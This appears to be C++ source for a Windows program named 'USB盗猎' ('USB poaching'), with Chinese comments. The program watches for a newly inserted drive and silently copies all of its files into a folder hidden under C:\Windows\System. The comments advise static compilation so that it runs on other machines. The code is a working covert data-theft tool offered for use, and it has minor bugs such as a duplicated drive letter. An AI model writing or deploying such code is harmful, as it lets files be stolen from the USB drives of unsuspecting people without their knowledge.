- 1 // USB盗猎.cpp : 定义应用程序的入口点。
- 2 // 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
- 3 // 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译
- 4
- 5 #include "stdafx.h"
- 6 #include "USB助手.h"
- 7 #include <windows.h>
- 8 #include <iostream>
- 9 #include <string>
- 10 #include <strsafe.h>
- 11 #include <tchar.h>
- 12 #define MAX_PATH_ME 256
- 13 #define SOURCE_PATH TEXT("C:\\Windows\\System\\text1")
- 14
- 15 using namespace std;
- 16 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件
- 17
- 18 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
- 19 _In_opt_ HINSTANCE hPrevInstance,
- 20 _In_ LPWSTR lpCmdLine,
- 21 _In_ int nCmdShow)
- 22 {
- 23
- 24 CreateDirectory(SOURCE_PATH, NULL);
- 25 TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
- 26 TCHAR Path[MAX_PATH_ME] = TEXT("");
- 27 TCHAR Drive[26] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
- 28 char i = 0;
- 29 DWORD Drive_Old = GetLogicalDrives();
- 30 while (1)
- 31 {
- 32 DWORD Drive_New = GetLogicalDrives();
- 33 if (Drive_Old != Drive_New)
- 34 {
- 35 Drive_New = Drive_New - Drive_Old;
- 36 while (1)
- 37 {
- 38 if ((Drive_New & 1) != 0)
- 39 break;
- 40 Drive_New >>= 1;
- 41 i++;
- 42 }
- 43 break;
- 44 }
- 45 }
- 46 Sleep(10000);
- 47 Path[0] = Drive[i];
- 48 Path[1] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’
- 49 StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
- 50 Traver_File(Path, szFile);
- 51 return 0;
- 52 }
- 53
- 54 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
- 55 {
- 56 WIN32_FIND_DATAW lpFindFileData;
- 57 HANDLE hFind = INVALID_HANDLE_VALUE;
- 58
- 59 TCHAR szDir[MAX_PATH_ME];
- 60 TCHAR szDir1[MAX_PATH_ME] = TEXT("");
- 61 TCHAR szDir2[MAX_PATH_ME] = TEXT("");
- 62 TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址
- 63
- 64 TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
- 65 TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
- 66 TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
- 67 TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址
- 68
- 69 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
- 70 StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir);
- 71
- 72 //获取源文件地址的操作
- 73 StringCchCopy(szDir, MAX_PATH_ME, Path);
- 74 StringCchCopy(szDir2, MAX_PATH_ME, szDir);
- 75 StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
- 76 hFind = FindFirstFileW(szDir, &lpFindFileData);
- 77 do
- 78 {
- 79 StringCchCopy(szFile, MAX_PATH_ME, szDir2);
- 80 StringCchCopy(szDir1, MAX_PATH_ME, szDir2);
- 81
- 82 StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
- 83 StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2);
- 84
- 85 if (lpFindFileData.cFileName[0] == '.')
- 86 {
- 87 continue;
- 88 }
- 89 else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
- 90 {
- 91 StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
- 92 StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName);
- 93
- 94 StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
- 95 StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName);
- 96
- 97 CreateDirectory(T_szDir1, NULL);
- 98 Traver_File(szDir1, T_szDir1);
- 99 }
- 100 else
- 101 {
- 102 StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
- 103 StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName);
- 104
- 105 StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
- 106 StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName);
- 107
- 108 CopyFile(szFile, T_szFile, false);
- 109 StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
- 110 StringCchCopy(T_szFile, MAX_PATH_ME, TEXT(""));
- 111
- 112 }
- 113 } while (FindNextFileW(hFind, &lpFindFileData) != 0);
- 114 }